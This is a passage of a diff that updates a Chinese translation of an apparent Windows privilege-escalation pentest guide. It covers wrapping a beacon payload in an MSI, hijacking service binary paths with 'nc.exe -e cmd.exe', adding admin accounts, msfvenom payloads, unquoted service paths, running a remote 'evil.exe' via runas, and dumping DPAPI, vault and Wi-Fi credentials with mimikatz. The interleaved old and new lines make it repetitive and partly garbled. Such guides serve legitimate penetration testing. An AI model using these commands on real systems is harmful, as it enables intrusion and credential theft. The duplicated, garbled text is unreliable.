**.bat** 文件。 +阅读本教程以学习如何使用这些工具创建 MSI wrapper。请注意,如果你**只是**想**执行**命令行,可以将一个 **.bat** 文件打包。 {{#ref}} @@ -251,44 +259,44 @@ create-msi-with-wix.md ### Create MSI with Visual Studio -- 使用 Cobalt Strike 或 Metasploit **Generate** 一个新的 **Windows EXE TCP payload** 到 `C:\privesc\beacon.exe` +- 使用 Cobalt Strike 或 Metasploit **生成** 一个新的 Windows EXE TCP payload 到 `C:\privesc\beacon.exe` - 打开 **Visual Studio**,选择 **Create a new project**,在搜索框输入 "installer"。选择 **Setup Wizard** 项目并点击 **Next**。 -- 为项目命名,例如 **AlwaysPrivesc**,使用 **`C:\privesc`** 作为位置,选择 **place solution and project in the same directory**,然后点击 **Create**。 -- 一直点击 **Next** 直到到达第 3 步(共 4 步,选择要包含的文件)。点击 **Add** 并选择你刚生成的 Beacon payload。然后点击 **Finish**。 -- 在 **Solution Explorer** 中选中 **AlwaysPrivesc** 项目,在 **Properties** 中将 **TargetPlatform** 从 **x86** 更改为 **x64**。 -- 你还可以修改其他属性,例如 **Author** 和 **Manufacturer**,以使安装后的应用看起来更合理。 +- 给项目命名,例如 **AlwaysPrivesc**,将位置设置为 **`C:\privesc`**,选择 **place solution and project in the same directory**,然后点击 **Create**。 +- 一直点击 **Next**,直到到达第 3 步(共 4 步,选择要包含的文件)。点击 **Add** 并选择你刚生成的 Beacon payload。然后点击 **Finish**。 +- 在 **Solution Explorer** 中选中 **AlwaysPrivesc** 项目,在 **Properties** 中将 **TargetPlatform** 从 **x86** 改为 **x64**。 +- 你还可以修改其他属性,例如 **Author** 和 **Manufacturer**,使安装的应用看起来更可信。 - 右键项目,选择 **View > Custom Actions**。 - 右键 **Install** 并选择 **Add Custom Action**。 -- 双击 **Application Folder**,选择你的 **beacon.exe** 文件并点击 **OK**。这样可以确保安装程序运行时立即执行 beacon payload。 -- 在 **Custom Action Properties** 下,将 **Run64Bit** 更改为 **True**。 -- 最后,**build it**。 -- 如果出现警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`,请确保你将平台设置为 x64。 +- 双击 **Application Folder**,选择你的 **beacon.exe** 文件并点击 **OK**。这将确保安装程序运行时立即执行 beacon payload。 +- 在 **Custom Action Properties** 下,将 **Run64Bit** 设置为 **True**。 +- 最后,**构建** 项目。 +- 如果出现警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`,请确保将平台设置为 x64。 ### MSI Installation -要在后台执行恶意 `.msi` 文件的**installation**: +要在 **后台** 执行恶意 `.msi` 文件的 **安装**: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -要利用此漏洞你可以使用: _exploit/windows/local/always_install_elevated_ +要利用此漏洞,你可以使用: _exploit/windows/local/always_install_elevated_ ## 防病毒与检测器 ### 审计设置 -这些设置决定什么被**记录**,所以你应该注意 +这些设置决定哪些内容会被**记录**,因此你应当注意 ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding:了解日志被发送到何处很重要 +值得了解 Windows Event Forwarding 的日志被发送到哪里 ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** 旨在管理本地 Administrator 密码,确保加入域的计算机上的每个密码都是**唯一、随机化并定期更新**的。这些密码安全地存储在 Active Directory 中,只有通过 ACLs 授予了足够权限的用户才能访问,从而在被授权时查看本地 Administrator 密码。 +**LAPS** 的设计用于 **本地 Administrator 密码的管理**,确保加入域的计算机上每个密码都是 **唯一、随机化并定期更新** 的。这些密码被安全地存储在 Active Directory 中,只有通过 ACLs 被授予足够权限的用户才能访问,从而在被授权时查看本地管理员密码。 {{#ref}} @@ -297,27 +305,27 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -如果启用,**明文密码会被存储在 LSASS** (Local Security Authority Subsystem Service).\ +如果启用,**明文密码会存储在 LSASS** (Local Security Authority Subsystem Service)。\ [**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -从 **Windows 8.1** 开始,Microsoft 引入了对 Local Security Authority (LSA) 的增强保护,以 **阻止** 不受信任的进程 **读取其内存** 或注入代码,从而进一步保护系统安全。\ +自 **Windows 8.1** 起,Microsoft 引入了对 Local Security Authority (LSA) 的增强保护,以阻止不受信任的进程尝试读取其内存或注入代码,从而进一步提高系统安全性。\ [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** 在 **Windows 10** 中引入。其目的是保护存储在设备上的凭证,免受像 pass-the-hash 攻击之类的威胁。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** 于 **Windows 10** 中引入。它的目的是保护存储在设备上的凭据,以防止类似 pass-the-hash 的攻击。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` -### Cached Credentials +### 缓存凭据 -**Domain credentials** 由 **Local Security Authority** (LSA) 进行认证,并被操作系统组件使用。 当用户的登录数据被已注册的安全包认证时,通常会为该用户建立 domain credentials。\ +**域凭据** 由 **本地安全机构 (Local Security Authority, LSA)** 验证并被操作系统组件使用。当用户的登录数据被已注册的安全包验证时,通常会为该用户建立域凭据。\ [**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT @@ -326,7 +334,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### 枚举用户与组 -你应该检查你所属的任何组是否具有可利用的权限 +你应该检查你所属的任何组是否具有有趣的权限 ```bash # CMD net users %username% #Me @@ -343,7 +351,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### 特权组 -如果你**属于某些特权组,你可能能够提升权限**。在此了解特权组以及如何滥用它们来提升权限: +如果你 **belongs to some privileged group you may be able to escalate privileges**。在这里了解特权组以及如何滥用它们以提升权限: {{#ref}} @@ -352,8 +360,8 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ### Token 操作 -**了解更多** 有关 **token** 是什么,请见此页面: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -查看以下页面以**了解有趣的 token**以及如何滥用它们: +**了解更多** 关于 **token** 的内容,请参见此页面: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +查看以下页面以 **learn about interesting tokens** 以及如何滥用它们: {{#ref}} @@ -365,7 +373,7 @@ privilege-escalation-abusing-tokens.md qwinsta klist sessions ``` -### 用户主目录 +### 主目录 ```bash dir C:\Users Get-ChildItem C:\Users @@ -378,12 +386,12 @@ net accounts ```bash powershell -command "Get-Clipboard" ``` -## 运行中的进程 +## Running Processes -### 文件和文件夹权限 +### File and Folder Permissions -首先,在列出进程时,**检查进程命令行中是否包含密码**。\ -检查是否可以**覆盖某个正在运行的二进制文件**,或者是否对二进制所在的文件夹有写权限,以便利用可能的 [**DLL Hijacking attacks**](dll-hijacking/index.html): +首先,在列出进程时,**检查进程命令行中是否包含密码**.\ +检查是否能**覆盖正在运行的某个二进制文件**或是否对二进制文件所在文件夹具有写权限,以便利用可能的 [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -394,7 +402,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -始终检查是否可能有 [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md)。 +始终检查是否存在可能的 [**electron/cef/chromium debuggers** 正在运行,可能被滥用以 escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **检查进程二进制文件的权限** ```bash @@ -415,17 +423,17 @@ todos %username%" && echo. ``` ### Memory Password mining -你可以使用 sysinternals 的 **procdump** 对正在运行的进程创建内存转储。像 FTP 这样的服务会有 **credentials in clear text in memory**,尝试转储内存并读取这些 credentials。 +你可以使用 sysinternals 的 **procdump** 对正在运行的进程创建内存转储。像 FTP 这样的服务在内存中可能包含 **credentials in clear text in memory**,尝试转储内存并读取这些 credentials。 ```bash procdump.exe -accepteula -ma ``` ### 不安全的 GUI 应用 -**以 SYSTEM 身份运行的应用可能允许用户启动 CMD,或浏览目录。** +**以 SYSTEM 身份运行的应用可能允许用户启动 CMD 或浏览目录。** -示例: "Windows Help and Support" (Windows + F1),搜索 "command prompt",点击 "Click to open Command Prompt" +示例: "Windows Help and Support" (Windows + F1), 搜索 "command prompt", 点击 "Click to open Command Prompt" -## 服务 +## Services 获取服务列表: ```bash @@ -436,11 +444,11 @@ Get-Service ``` ### 权限 -你可以使用 **sc** 来获取服务的信息 +你可以使用 **sc** 获取某个服务的信息 ```bash sc qc ``` -建议准备来自 _Sysinternals_ 的二进制文件 **accesschk**,用于检查每个服务所需的权限级别。 +建议获取来自 _Sysinternals_ 的二进制文件 **accesschk**,用于检查每个服务所需的权限级别。 ```bash accesschk.exe -ucqv #Check rights for different groups ``` @@ -455,25 +463,25 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ### 启用服务 -如果你遇到这个错误(例如在 SSDPSRV 上): +如果你遇到这个错误(例如在 SSDPSRV 上): -_发生了系统错误 1058。_\ -_无法启动该服务,可能是因为它被禁用,或因为没有与其关联的已启用设备。_ +_System error 1058 has occurred._\ +_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ 你可以使用以下命令启用它 ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**请注意,服务 upnphost 依赖 SSDPSRV 才能工作(适用于 XP SP1)** +**请注意服务 upnphost 依赖 SSDPSRV 才能工作(适用于 XP SP1)** -**另一个解决方法是运行:** +**另一种解决此问题的变通办法是运行:** ``` sc.exe config usosvc start= auto ``` ### **修改服务二进制路径** -在“Authenticated users”组对某个服务拥有 **SERVICE_ALL_ACCESS** 权限的情况下,可以修改该服务的可执行二进制文件。要修改并执行 **sc**: +在 "Authenticated users" 组对某个服务拥有 **SERVICE_ALL_ACCESS** 权限的情况下,可以修改该服务的可执行二进制文件。要修改并执行 **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -486,26 +494,26 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -权限可以通过多种权限被提升: +可以通过各种权限提升特权: -- **SERVICE_CHANGE_CONFIG**: 允许重新配置服务的二进制文件。 -- **WRITE_DAC**: 允许重新配置权限,从而能够更改服务配置。 +- **SERVICE_CHANGE_CONFIG**: 允许重新配置服务二进制文件。 +- **WRITE_DAC**: 允许重新配置权限,从而可更改服务配置。 - **WRITE_OWNER**: 允许获取所有权并重新配置权限。 - **GENERIC_WRITE**: 继承更改服务配置的能力。 - **GENERIC_ALL**: 同样继承更改服务配置的能力。 -要检测和利用此漏洞,可以使用 _exploit/windows/local/service_permissions_。 +可使用 _exploit/windows/local/service_permissions_ 来检测和利用此漏洞。 -### Services binaries weak permissions +### 服务二进制文件的弱权限 -**检查是否可以修改由服务执行的二进制文件** 或者 是否对二进制文件所在的文件夹具有 **写权限** ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -您可以使用 **wmic** 获取服务执行的所有二进制文件(不在 system32 中),并使用 **icacls** 检查您的权限: +**检查是否可以修改由服务执行的二进制文件** 或者是否对二进制所在的文件夹具有 **写权限** ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +您可以使用 **wmic** 获取服务执行的所有二进制文件(不是 system32 中的),并使用 **icacls** 检查您的权限: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` -你也可以使用 **sc** 和 **icacls**: +你也可以使用 **sc** 和 **icacls**: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt @@ -513,8 +521,8 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> ``` ### 服务注册表修改权限 -你应该检查是否能修改任何服务注册表。\ -你可以**检查**你对某个服务**注册表**的**权限**,方法如下: +你应该检查是否可以修改任何服务注册表。\ +你可以**检查**你在某个服务**注册表**上的**权限**,方法是: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -523,16 +531,15 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -应检查 **Authenticated Users** 或 **NT AUTHORITY\INTERACTIVE** 是否拥有 `FullControl` 权限。如果是,则可以更改服务执行的二进制文件。 +应检查 **Authenticated Users** 或 **NT AUTHORITY\INTERACTIVE** 是否拥有 `FullControl` 权限。如果是,服务执行的二进制文件可以被更改。 -要更改被执行二进制的路径: +要更改所执行二进制文件的 Path: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` ### 服务注册表 AppendData/AddSubdirectory 权限 -如果你对一个注册表拥有此权限,这意味着你可以从该注册表**创建子注册表**。在 Windows services 的情况下,这已经**足以执行任意代码:** - +如果你在某个注册表上拥有此权限,这意味着 **你可以从该注册表创建子注册表**。在 Windows 服务的情况下,这 **足以执行任意代码:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md @@ -540,15 +547,15 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Unquoted Service Paths -如果可执行文件的路径没有被引号包围,Windows 会尝试执行每个在空格之前的路径片段。 +If the path to an executable is not inside quotes, Windows will try to execute every ending before a space. -例如,对于路径 _C:\Program Files\Some Folder\Service.exe_,Windows 会尝试执行: +For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -列出所有未加引号的服务路径,排除属于内置 Windows 服务的: +列出所有未加引号的服务路径(排除属于内置 Windows 服务的): ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -568,19 +575,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**你可以使用 metasploit 检测并利用** 此漏洞: `exploit/windows/local/trusted_service_path` 你可以使用 metasploit 手动创建服务二进制: +**您可以检测并利用** 此漏洞 使用 metasploit: `exploit/windows/local/trusted\_service\_path` 您可以手动使用 metasploit 创建一个服务二进制文件: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### 恢复操作 -Windows 允许用户在服务失败时指定要执行的操作。此功能可以配置为指向一个二进制文件。如果该二进制文件可被替换,可能会发生 privilege escalation。更多细节请参见 [official documentation](). +Windows 允许用户指定当服务失败时要执行的操作。该功能可以配置为指向某个 binary。如果该 binary 可被替换,则可能发生 privilege escalation。更多细节见 [官方文档](). -## 应用程序 +## 应用 ### 已安装的应用程序 -检查 **二进制文件的权限**(也许你可以覆盖其中一个并 escalate privileges)以及 **文件夹** 的权限([DLL Hijacking](dll-hijacking/index.html))。 +检查 **binaries 的权限**(也许你可以覆盖其中一个并进行 privilege escalation)以及 **文件夹**([DLL Hijacking](dll-hijacking/index.html))。 ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -589,11 +596,11 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` -### 写权限 +### 写入权限 -检查是否可以修改某些配置文件以读取某些特殊文件,或是否可以修改将由 Administrator 帐户执行的某个二进制文件(schedtasks)。 +检查是否可以修改某些配置文件以读取某些特殊文件,或者是否可以修改将由 Administrator 账户执行的某个二进制文件(schedtasks)。 -在系统中查找弱文件/文件夹权限的一种方法是执行: +在系统中查找弱的文件夹/文件权限的一种方法是执行: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -616,11 +623,10 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` -### 启动时运行 - -**检查是否可以覆盖某个注册表或二进制文件,该文件将由不同的用户执行。**\ -**阅读** **以下页面** 以了解更多关于有趣的 **autoruns locations to escalate privileges** 的信息: +### 在启动时运行 +**检查是否可以覆盖将由其他用户执行的某些注册表或可执行文件。**\ +**阅读** **以下页面** 以了解更多关于有趣的 **autoruns locations to escalate privileges**: {{#ref}} privilege-escalation-with-autorun-binaries.md @@ -628,13 +634,13 @@ privilege-escalation-with-autorun-binaries.md ### 驱动程序 -查找可能的 **third party weird/vulnerable** 驱动程序 +查找可能的 **第三方异常/易受攻击** 驱动程序 ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -如果一个 driver 暴露了 arbitrary kernel read/write primitive(常见于设计不良的 IOCTL handlers),你可以通过直接从 kernel memory 偷取一个 SYSTEM token 来提升权限。详尽的逐步技术请见: +如果一个 driver 暴露了 arbitrary kernel read/write primitive(常见于设计不良的 IOCTL handlers),你可以通过直接从 kernel memory 窃取 SYSTEM token 来提升权限。详见分步技术: {{#ref}} arbitrary-kernel-rw-token-theft.md @@ -643,7 +649,7 @@ arbitrary-kernel-rw-token-theft.md ## PATH DLL Hijacking -如果你拥有 **write permissions inside a folder present on PATH**,你可能能够劫持由进程加载的 DLL 并 **escalate privileges**。 +如果你在 PATH 中的某个文件夹具有 **write permissions**,你可能能够 hijack 一个被进程加载的 **DLL** 并 **escalate privileges**。 检查 PATH 中所有文件夹的权限: ```bash @@ -665,13 +671,13 @@ net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` -### hosts file +### hosts 文件 -检查 hosts file 中是否存在其他已知计算机的硬编码条目 +检查 hosts 文件中是否硬编码了其他已知主机 ``` type C:\Windows\System32\drivers\etc\hosts ``` -### 网络接口 & DNS +### 网络接口与 DNS ``` ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address @@ -679,7 +685,7 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### 开放端口 -从外部检查是否存在 **受限服务** +从外部检查 **受限服务** ```bash netstat -ano #Opened ports? ``` @@ -693,9 +699,9 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### 防火墙规则 +### Firewall Rules -[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(列出规则,创建规则,关闭,关闭...)** +[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(列出规则、创建规则、关闭、关闭...)** 更多[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) @@ -704,18 +710,18 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -二进制文件 `bash.exe` 也可以在 `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` 找到。 +二进制 `bash.exe` 也可以在 `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` 找到 -如果你获得 root 用户,你可以监听任意端口(第一次使用 `nc.exe` 在端口上监听时,GUI 会询问是否允许 `nc` 通过防火墙)。 +如果你获得 root user,你可以监听任何端口(第一次使用 `nc.exe` 监听端口时,GUI 会询问是否允许 nc 被防火墙放行)。 ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -要轻松以 bash 的 root 身份启动,可以尝试 `--default-user root` +要以 root 身份轻松启动 bash,可以尝试 `--default-user root` -你可以在文件夹 `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` 中浏览 `WSL` 文件系统 +你可以在文件夹 `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` 中浏览 `WSL` 的文件系统 ## Windows 凭据 @@ -731,14 +737,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### 凭证管理器 / Windows vault +### Credentials manager / Windows vault -From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault 存储用于服务器、网站和其他程序的用户凭据,**Windows** 可以**自动登录用户**。乍一看,这似乎意味着用户可以存储他们的 Facebook、Twitter、Gmail 等凭证,从而通过浏览器自动登录。但事实并非如此。 +来自 [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault]\ +Windows Vault 存储用于服务器、网站和其他程序的用户凭据,供 **Windows** **可以自动为用户登录**y。乍一看,用户似乎可以将他们的 Facebook 凭据、Twitter 凭据、Gmail 凭据等存储在其中,以便通过浏览器自动登录。但情况并非如此。 -Windows Vault 存储的是 Windows 可以用来自动登录用户的凭据,这意味着任何 **需要凭据以访问资源的 Windows 应用程序**(服务器或网站)**可以使用此 Credential Manager** & Windows Vault,并使用存储的凭据,而不是让用户每次都输入用户名和密码。 +Windows Vault 存储 Windows 可以自动为用户登录的凭据,这意味着任何 **Windows application that needs credentials to access a resource**(服务器或网站)**can make use of this Credential Manager** 与 Windows Vault,并使用所提供的凭据,而不是让用户每次都输入用户名和密码。 -除非应用程序与 Credential Manager 交互,否则我认为它们不可能使用某个资源的凭据。因此,如果你的应用程序想使用该 vault,它应以某种方式**与 credential manager 通信并从默认存储 vault 请求该资源的凭据**。 +除非应用程序与 Credential Manager 交互,否则我认为它们无法使用某个资源的凭据。因此,如果你的应用想使用 vault,它应该以某种方式 **communicate with the credential manager and request the credentials for that resource** 从默认存储 vault 获取该资源的凭据。 使用 `cmdkey` 列出机器上存储的凭据。 ```bash @@ -748,28 +754,28 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -然后你可以使用 `runas` 和 `/savecred` 选项来使用已保存的凭证。下面的示例通过 SMB 共享调用远程二进制文件。 +然后你可以使用 `runas` 和 `/savecred` 选项来使用已保存的凭据。下面的示例通过 SMB 共享调用远程可执行文件。 ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -使用提供的凭据运行 `runas`。 +使用提供的一组凭据运行 `runas`。 ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -注意 mimikatz、lazagne、[credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html)、[VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html),或来自 [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1)。 +请注意:mimikatz、lazagne、[credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html)、[VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html),或来自 [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1)。 ### DPAPI -The **Data Protection API (DPAPI)** 提供了一种对数据进行对称加密的方法,主要用于 Windows 操作系统中对非对称私钥的对称加密。该加密利用用户或系统的秘密来显著增加熵。 +The **Data Protection API (DPAPI)** 提供了一种用于数据对称加密的方法,主要在 Windows 操作系统中用于对非对称私钥的对称加密。该加密利用用户或系统的秘密在熵中起到重要作用。 **DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**。在涉及系统加密的场景中,它使用系统的域身份验证秘密。 -使用 DPAPI 加密的用户 RSA 密钥存放在 `%APPDATA%\Microsoft\Protect\{SID}` 目录中,其中 `{SID}` 代表用户的 [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier)。**The DPAPI key, co-located with the master key that safeguards the user's private keys in the same file**,通常由 64 字节的随机数据组成。(重要的是注意,此目录的访问受限,无法通过 CMD 中的 `dir` 命令列出其内容,但可以通过 PowerShell 列出。) +使用 DPAPI 加密的用户 RSA 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录中,其中 `{SID}` 表示用户的 [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier)。**DPAPI key 与保护用户私钥的主密钥共存于同一文件中**,通常由 64 字节的随机数据组成。(需要注意的是,访问此目录受到限制,无法通过 CMD 中的 `dir` 命令列出其内容,但可以通过 PowerShell 列出。) ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -你可以使用 **mimikatz module** `dpapi::masterkey` 并使用适当的参数 (`/pvk` 或 `/rpc`) 来解密它。 +你可以使用 **mimikatz module** `dpapi::masterkey` 并带上适当的参数(`/pvk` 或 `/rpc`)来解密它。 这些 **credentials files protected by the master password** 通常位于: ```bash @@ -778,8 +784,8 @@ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -你可以使用 **mimikatz module** `dpapi::cred` 搭配相应的 `/masterkey` 来解密。\ -你可以使用 `sekurlsa::dpapi` 模块从 **memory** 提取许多 DPAPI **masterkeys**(如果你是 root)。 +你可以使用 **mimikatz module** `dpapi::cred` 并使用适当的 `/masterkey` 来解密。\ +你可以使用 `sekurlsa::dpapi` 模块从 **内存** 中 **提取** 许多 **DPAPI** **主密钥**(如果你是 root)。 {{#ref}} @@ -788,9 +794,9 @@ dpapi-extracting-passwords.md ### PowerShell 凭据 -**PowerShell credentials** 常用于 **scripting** 和自动化任务,作为一种方便存储加密凭据的方式。这些凭据受 **DPAPI** 保护,通常意味着它们只能被在同一台创建它们的计算机上的相同用户解密。 +**PowerShell 凭据** 通常用于 **脚本** 和自动化任务,作为便捷地存储加密凭据的方式。凭据使用 **DPAPI** 进行保护,这通常意味着它们只能由在创建它们的同一台计算机上的相同用户解密。 -要从包含它的文件中 **解密** PS 凭据,你可以执行: +要从包含它的文件中**解密** PS 凭据,你可以执行: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -801,7 +807,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### 无线 (Wi‑Fi) +### Wifi ```bash #List saved Wifi using netsh wlan show profile @@ -813,7 +819,7 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| ### 已保存的 RDP 连接 你可以在 `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -和在 `HKCU\Software\Microsoft\Terminal Server Client\Servers\` 中找到它们。 +以及在 `HKCU\Software\Microsoft\Terminal Server Client\Servers\` ### 最近运行的命令 ``` @@ -825,19 +831,28 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ -可以使用 Mimikatz 的 `sekurlsa::dpapi` 模块从内存中 **提取多个 DPAPI 主密钥** +使用 **Mimikatz** `dpapi::rdg` 模块并提供合适的 `/masterkey` 来 **解密任何 .rdg 文件**\ + +You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module +可以使用 **Mimikatz** 的 `sekurlsa::dpapi` 模块从内存中 **提取许多 DPAPI masterkeys** ### 